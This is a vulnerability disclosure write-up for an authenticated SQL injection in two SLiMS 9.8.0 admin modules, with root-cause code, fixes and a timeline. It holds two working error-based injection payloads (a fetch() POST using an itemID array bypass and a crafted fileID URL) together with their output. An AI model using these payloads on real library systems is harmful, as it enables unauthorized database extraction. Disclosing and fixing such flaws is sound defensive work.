
Proof-of-concept and technical write-up for CVE-2026-107083, an authenticated SQL injection in SLiMS 9.8.0 admin modules via unquoted numeric concatenation, with PoCs and fixes.
SLiMS 9.8.0 allows an authenticated staff user to perform SQL Injection in two admin modules where $_GET / $_POST values are concatenated into SQL without quoting or integer casting. The only sanitation applied is $dbs->escape_string(), which is ineffective for quote-free payloads in an unquoted numeric context.
Impact: Any authenticated staff account (any role) can perform error-based / UNION-based data extraction from the admin panel.
admin/modules/serial_control/subscription.php (line 128): $_POST['itemID'][0] is used raw in WHERE serial_id=.... When itemID is sent as an array, the (integer) cast is skipped, allowing direct SQL injection.admin/modules/reporting/customs/dl_detail.php (lines 62, 133): $_GET['fileID'] is concatenated raw into $criteria = 'fr.file_id =' . $_IDFile;.| Field | Value |
|---|---|
| CVE ID | CVE-2026-107083 |
| Official Record | cve.org/CVERecord?id=CVE-2026-107083 |
| Affected Version | SLiMS 9.8.0 (master) |
| Vulnerability Type | CWE-89: SQL Injection |
| Attack Vector | Network |
| Privileges Required | Low (any authenticated staff) |
| Affected Component | admin/modules/serial_control/subscription.php (itemID), admin/modules/reporting/customs/dl_detail.php (fileID) |
| Original Report | slims/slims9_bulian#393 |
| File | Vulnerable Lines |
|---|---|
admin/modules/serial_control/subscription.php | 122–128 |
admin/modules/reporting/customs/dl_detail.php | 62, 133 |
admin/modules/serial_control/subscription.phpLines 122–128 — array bypass skips the (integer) cast:

// lines 122-128
if (!is_array($_POST['itemID'])) {
// make an array
$_POST['itemID'] = array((integer)$_POST['itemID']);
}
// get biblio ID for this subcription
$biblio_q = $dbs->query('SELECT biblio_id FROM serial WHERE serial_id='.( isset($_POST['itemID'][0])?$_POST['itemID'][0]:'0' ).' LIMIT 1');
admin/modules/reporting/customs/dl_detail.phpLines 62 and 133 — fileID is escaped as a string but placed in an unquoted numeric context:


// line 62
$_IDFile = $dbs->escape_string(strip_tags($_GET['fileID']));
// line 133
$criteria = 'fr.file_id =' . $_IDFile . ' ';
Contributing factors:
lib/Sanitizer.php:59,70 skips sanitizing array values in $_GET/$_POST.admin/default/session.inc.php:35 runs with filter: [false, true, true], so escape_sql is disabled for admin requests. Quote-free payloads in an unquoted numeric context pass the remaining escape_string() untouched.docker-compose.yml: php:8.3.13-apache + mariadb:lts)subscription.php via Array BypassLogin to /admin, open the DevTools Console on any admin page, and run:
fetch('/admin/modules/serial_control/subscription.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: new URLSearchParams({
itemAction: 'del',
'itemID[0]': "0 AND EXTRACTVALUE(1,CONCAT(0x7e,version()))#"
})
}).then(r => r.text()).then(t => document.write(t))
Output:
<h1>XPATH syntax error: '~12.3.3-MariaDB-ubu2404'</h1>

dl_detail.php via GET ParameterOpen the following URL directly in the browser (spaces and # are URL-encoded):
http://localhost:8881/admin/modules/reporting/customs/dl_detail.php?reportView=true&fileID=1%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,version()))%23
Output:
<h1>XPATH syntax error: '~12.3.3-MariaDB-ubu2404'</h1>


| Component | Version |
|---|---|
| SLiMS | 9.8.0 (master) |
| Operating System | Ubuntu 24.04 |
| Web Server | Apache 2.4.62 (Debian) |
| PHP | 8.3.13 |
| MariaDB | 12.3.3-MariaDB-ubu2404 |
| MySQL Client | mysqld 8.3.13 |
| Browser | Firefox 156 |
Verified using the repository's own docker-compose.yml.
All numeric SQL parameters should be cast with (int) or strictly validated as integers before concatenation.
subscription.php// Cast explicitly regardless of array type
$itemID = isset($_POST['itemID'][0]) ? (int)$_POST['itemID'][0] : 0;
$biblio_q = $dbs->query('SELECT biblio_id FROM serial WHERE serial_id=' . $itemID . ' LIMIT 1');
dl_detail.php// Cast explicitly
$_IDFile = isset($_GET['fileID']) ? (int)$_GET['fileID'] : 0;
// Or use strict validation
if (!filter_var($_GET['fileID'], FILTER_VALIDATE_INT)) {
// Handle error
}
$criteria = 'fr.file_id =' . $_IDFile . ' ';
lib/Sanitizer.phpThe sanitizer should recursively sanitize array values in $_GET / $_POST to prevent array-based bypasses of input filtering.
| Date | Event |
|---|---|
| 2026-10-05 | Issue #393 reported to SLiMS repository |
| 2026-10-15 | Public write-up published (this repository) |
| 2026-10-19 | Official CVE record published on cve.org |
| — | Awaiting maintainer response on fix |
This write-up is provided for educational and defensive purposes only. All testing was performed on a locally hosted instance owned by the author. Do not use these techniques against systems without explicit written authorization.